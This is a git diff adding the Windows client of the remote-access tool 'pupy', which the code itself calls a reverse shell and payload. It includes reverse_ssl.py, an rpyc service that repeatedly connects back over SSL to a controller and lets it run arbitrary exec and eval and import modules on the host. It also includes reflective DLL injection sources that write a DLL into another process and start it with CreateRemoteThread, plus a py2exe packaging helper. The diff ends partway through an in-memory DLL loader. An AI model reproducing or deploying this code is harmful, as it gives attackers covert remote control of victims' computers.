diff --git a/client/additional_imports.py b/client/additional_imports.py new file mode 100644 index 00000000..b58a21be --- /dev/null +++ b/client/additional_imports.py @@ -0,0 +1,43 @@ +import socket +import threading +import Queue +import collections +import SocketServer +import struct +import os +import sys +import time +import traceback +import uuid +import subprocess +import StringIO +import imp +import hashlib +import base64 +import logging +import re +import ssl +import tempfile +import string +import datetime +import random +import shutil +import platform +import errno, stat +import zlib +import tempfile +import code +import Queue +import glob +import multiprocessing +import math +import binascii +import inspect +import shlex +import json +import ctypes +import ctypes.wintypes +import threading +import time +import urllib +import urllib2 diff --git a/client/build_library_helper.py b/client/build_library_helper.py new file mode 100644 index 00000000..8e580b8b --- /dev/null +++ b/client/build_library_helper.py @@ -0,0 +1,31 @@ +import sys +from distutils.core import setup +import py2exe +import os +from glob import glob + +""" +This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub +please don't use this if you don't want to recompile from sources + +NOTE: I had to manually change pyreadline/console/console.py to console2.py and edit __init__.py to change the import because I had a conflict + +""" +if not (len(sys.argv)==2 and sys.argv[1]=="genzip"): + exit("This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub\nplease don't use this if you don't want to recompile from sources") +sys.argv=[sys.argv[0],"py2exe"] + + +setup( + data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))], + console=['reverse_ssl.py'], + #windows=['reverse_ssl.py'], + #zipfile=None, + options={ "py2exe" : { + "packages":['additional_imports'], + "compressed" : True, + "bundle_files" : 2, #3 = don't bundle (default) 2 = bundle everything but the Python interpreter 1 = bundle everything + } + } +) + diff --git a/client/reverse_ssl.py b/client/reverse_ssl.py new file mode 100644 index 00000000..9a6cb4a5 --- /dev/null +++ b/client/reverse_ssl.py @@ -0,0 +1,107 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +import site +import sys +import time +import rpyc +from rpyc.core.service import Service, ModuleNamespace +from rpyc.lib.compat import execute, is_py3k +import threading +import weakref +import traceback +import os +import subprocess +import threading +import multiprocessing +import logging +import StringIO +import json +import urllib2 +import urllib +import platform +import re +import ssl +import random + + +class ReverseSlaveService(Service): + """ Pupy reverse shell rpyc service """ + __slots__=["exposed_namespace"] + def on_connect(self): + self.exposed_namespace = {} + self._conn._config.update(dict( + allow_all_attrs = True, + allow_public_attrs = True, + allow_pickle = True, + allow_getattr = True, + allow_setattr = True, + allow_delattr = True, + import_custom_exceptions = False, + propagate_SystemExit_locally=False, + propagate_KeyboardInterrupt_locally=True, + instantiate_custom_exceptions = True, + instantiate_oldstyle_exceptions = True, + )) + # shortcuts + self._conn.root.set_modules(ModuleNamespace(self.exposed_getmodule)) + + def exposed_exit(self): + raise KeyboardInterrupt + def exposed_execute(self, text): + """execute arbitrary code (using ``exec``)""" + execute(text, self.exposed_namespace) + def exposed_eval(self, text): + """evaluate arbitrary code (using ``eval``)""" + return eval(text, self.exposed_namespace) + def exposed_getmodule(self, name): + """imports an arbitrary module""" + return __import__(name, None, None, "*") + def exposed_getconn(self): + """returns the local connection instance to the other side""" + return self._conn + + +def get_next_wait(attempt): + return 0.5 + if attempt<60: + return 0.5 + else: + return random.randint(15,30) + +def main(): + HOST="127.0.0.1:443" + if "win" in platform.system().lower(): + try: + import pupy + HOST=pupy.get_connect_back_host() + except ImportError: + print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL" + if len(sys.argv)!=2: + exit("usage: %s host:port"%sys.argv[0]) + HOST=sys.argv[1] + attempt=0 + while True: + try: + rhost,rport=None,None + tab=HOST.rsplit(":",1) + rhost=tab[0] + if len(tab)==2: + rport=int(tab[1]) + else: + rport=443 + + print "connecting to %s:%s"%(rhost,rport) + conn=rpyc.ssl_connect(rhost, rport, service = ReverseSlaveService) + while True: + attempt=0 + conn.serve() + except KeyboardInterrupt: + print "keyboard interrupt received !" + break + except Exception as e: + time.sleep(get_next_wait(attempt)) + attempt+=1 + +if __name__=="__main__": + main() + diff --git a/client/sources/GetProcAddressR.c b/client/sources/GetProcAddressR.c new file mode 100644 index 00000000..9cd83059 --- /dev/null +++ b/client/sources/GetProcAddressR.c @@ -0,0 +1,116 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "GetProcAddressR.h" +//===============================================================================================// +// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which +// wont be able to resolve exported addresses in reflectivly loaded librarys. +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) +{ + UINT_PTR uiLibraryAddress = 0; + FARPROC fpResult = NULL; + + if( hModule == NULL ) + return NULL; + + // a module handle is really its base address + uiLibraryAddress = (UINT_PTR)hModule; + + __try + { + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiNameOrdinals = 0; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + + // get the VA of the modules NT Header + pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + + pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); + + // get the VA for the array of name pointers + uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); + + // test if we are importing by name or by ordinal... + if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) + { + // import by ordinal... + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); + + // resolve the address for this imported function + fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // import by name... + DWORD dwCounter = pExportDirectory->NumberOfNames; + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); + + // test if we have a match... + if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) + { + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // calculate the virtual address for the function + fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); + + // finish... + break; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + fpResult = NULL; + } + + return fpResult; +} +//===============================================================================================// diff --git a/client/sources/GetProcAddressR.h b/client/sources/GetProcAddressR.h new file mode 100644 index 00000000..20835ec4 --- /dev/null +++ b/client/sources/GetProcAddressR.h @@ -0,0 +1,36 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/client/sources/LICENSES.txt b/client/sources/LICENSES.txt new file mode 100644 index 00000000..a3be8cbb --- /dev/null +++ b/client/sources/LICENSES.txt @@ -0,0 +1,93 @@ +The windows reflective DLL and exe payload for pupy contains source code from differents projects with differents licenses. +All the files not from one of these projects is under pupy's license (BSD 3-Clause license) +These projects include : + +---------------------------------------------------------------------------------- +-py2exe : under MIT License (http://sourceforge.net/projects/py2exe/) + Copyright (c) 2000-2008 Thomas Heller, Mark Hammond, Jimmy Retzlaff + + Permission is hereby granted, free of charge, to any person obtaining + a copy of this software and associated documentation files (the + "Software"), to deal in the Software without restriction, including + without limitation the rights to use, copy, modify, merge, publish, + distribute, sublicense, and/or sell copies of the Software, and to + permit persons to whom the Software is furnished to do so, subject to + the following conditions: + + The above copyright notice and this permission notice shall be + included in all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE + LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION + OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION + WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +---------------------------------------------------------------------------------- + +-ReflectiveDLLInjection from https://github.com/stephenfewer/ReflectiveDLLInjection + Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) + All rights reserved. + + Redistribution and use in source and binary forms, with or without modification, are permitted + provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of + conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of + conditions and the following disclaimer in the documentation and/or other materials provided + with the distribution. + + * Neither the name of Harmony Security nor the names of its contributors may be used to + endorse or promote products derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND + FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. + +---------------------------------------------------------------------------------- + +-meterpreter (3-clause BSD license) + Meterpreter is available for use under the following license, commonly known as the + 3-clause (or "modified") BSD license: + + ========================================================================================= + + Meterpreter + ----------- + + Copyright (c) 2006-2013, Rapid7 Inc + + Redistribution and use in source and binary forms, with or without modification, are + permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of + conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of + conditions and the following disclaimer in the documentation and/or other materials + provided with the distribution. + + * Neither the name of Rapid7 nor the names of its contributors may be used to endorse or + promote products derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY + EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL + THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT + OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + diff --git a/client/sources/LoadLibraryR.c b/client/sources/LoadLibraryR.c new file mode 100644 index 00000000..045bbc96 --- /dev/null +++ b/client/sources/LoadLibraryR.c @@ -0,0 +1,246 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "LoadLibraryR.h" +#include +//===============================================================================================// +DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress, BOOL is64 ) +{ + WORD wIndex = 0; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL; + PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL; + + if (is64) { + pNtHeaders64 = (PIMAGE_NT_HEADERS64)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders64->OptionalHeader) + pNtHeaders64->FileHeader.SizeOfOptionalHeader); + + if( dwRva < pSectionHeader[0].PointerToRawData ) + return dwRva; + + for( wIndex=0 ; wIndex < pNtHeaders64->FileHeader.NumberOfSections ; wIndex++ ) + { + if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) + return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); + } + } + else { + pNtHeaders32 = (PIMAGE_NT_HEADERS32)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders32->OptionalHeader) + pNtHeaders32->FileHeader.SizeOfOptionalHeader); + + if( dwRva < pSectionHeader[0].PointerToRawData ) + return dwRva; + + for( wIndex=0 ; wIndex < pNtHeaders32->FileHeader.NumberOfSections ; wIndex++ ) + { + if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) + return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); + } + } + + return 0; +} +//===============================================================================================// +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) +{ + UINT_PTR uiBaseAddress = 0; + UINT_PTR uiExportDir = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameOrdinals = 0; + DWORD dwCounter = 0; + BOOL is64 = 0; + + uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; + + // get the File Offset of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // process a PE file based on its architecture + if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 + { + is64 = FALSE; + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS32)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + } + else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 + { + is64 = TRUE; + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS64)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + } + else + { + return 0; + } + + // get the File Offset of the export directory + uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress, is64 ); + + // get the File Offset for the array of name pointers + uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress, is64 ); + + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 ); + + // get the File Offset for the array of name ordinals + uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress, is64 ); + + // get a counter for the number of exported functions... + dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; + + // loop through all the exported functions to find the ReflectiveLoader + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress, is64 )); + + if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) + { + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 ); + + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // return the File Offset to the ReflectiveLoader() functions code... + return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress, is64 ); + } + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + + return 0; +} +//===============================================================================================// +// Loads a DLL image from memory via its exported ReflectiveLoader function +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) +{ + HMODULE hResult = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwOldProtect1 = 0; + DWORD dwOldProtect2 = 0; + REFLECTIVELOADER pReflectiveLoader = NULL; + DLLMAIN pDllMain = NULL; + + if( lpBuffer == NULL || dwLength == 0 ) + return NULL; + + __try + { + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( dwReflectiveLoaderOffset != 0 ) + { + pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); + + // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... + // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region + if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) + { + // call the librarys ReflectiveLoader... + pDllMain = (DLLMAIN)pReflectiveLoader(); + if( pDllMain != NULL ) + { + // call the loaded librarys DllMain to get its HMODULE + if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) + hResult = NULL; + } + // revert to the previous protection flags... + VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hResult = NULL; + } + + return hResult; +} +//===============================================================================================// +// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function +// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +// defined in order to use the correct RDI prototypes. +// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | +// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ +// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. +// Note: This function currently cant inject accross architectures, but only to architectures which are the +// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) +{ + BOOL bSuccess = FALSE; + LPVOID lpRemoteLibraryBuffer = NULL; + LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; + HANDLE hThread = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwThreadId = 0; + + __try + { + do + { + if( !hProcess || !lpBuffer || !dwLength ) + break; + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( !dwReflectiveLoaderOffset ) + break; + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + break; + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) + break; + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); + + // create a remote thread in the host process to call the ReflectiveLoader! + hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); + + } while( 0 ); + + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hThread = NULL; + } + + return hThread; +} +//===============================================================================================// diff --git a/client/sources/LoadLibraryR.h b/client/sources/LoadLibraryR.h new file mode 100644 index 00000000..bb14a90e --- /dev/null +++ b/client/sources/LoadLibraryR.h @@ -0,0 +1,41 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); + +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); + +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/client/sources/MemoryModule.c b/client/sources/MemoryModule.c new file mode 100644 index 00000000..b3ab9098 --- /dev/null +++ b/client/sources/MemoryModule.c @@ -0,0 +1,916 @@ +/* + * Memory DLL loading code + * Version 0.0.4 + * + * Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de + * http://www.joachim-bauch.de + * + * The contents of this file are subject to the Mozilla Public License Version + * 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is MemoryModule.c + * + * The Initial Developer of the Original Code is Joachim Bauch. + * + * Portions created by Joachim Bauch are Copyright (C) 2004-2015 + * Joachim Bauch. All Rights Reserved. + * + */ +#include +#include +#include +#include +#ifdef DEBUG_OUTPUT +#include +#endif + +#ifndef IMAGE_SIZEOF_BASE_RELOCATION +// Vista SDKs no longer define IMAGE_SIZEOF_BASE_RELOCATION!? +#define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION)) +#endif + +#include "MemoryModule.h" + +typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved); +typedef int (WINAPI *ExeEntryProc)(void); + +typedef struct { + PIMAGE_NT_HEADERS headers; + unsigned char *codeBase; + 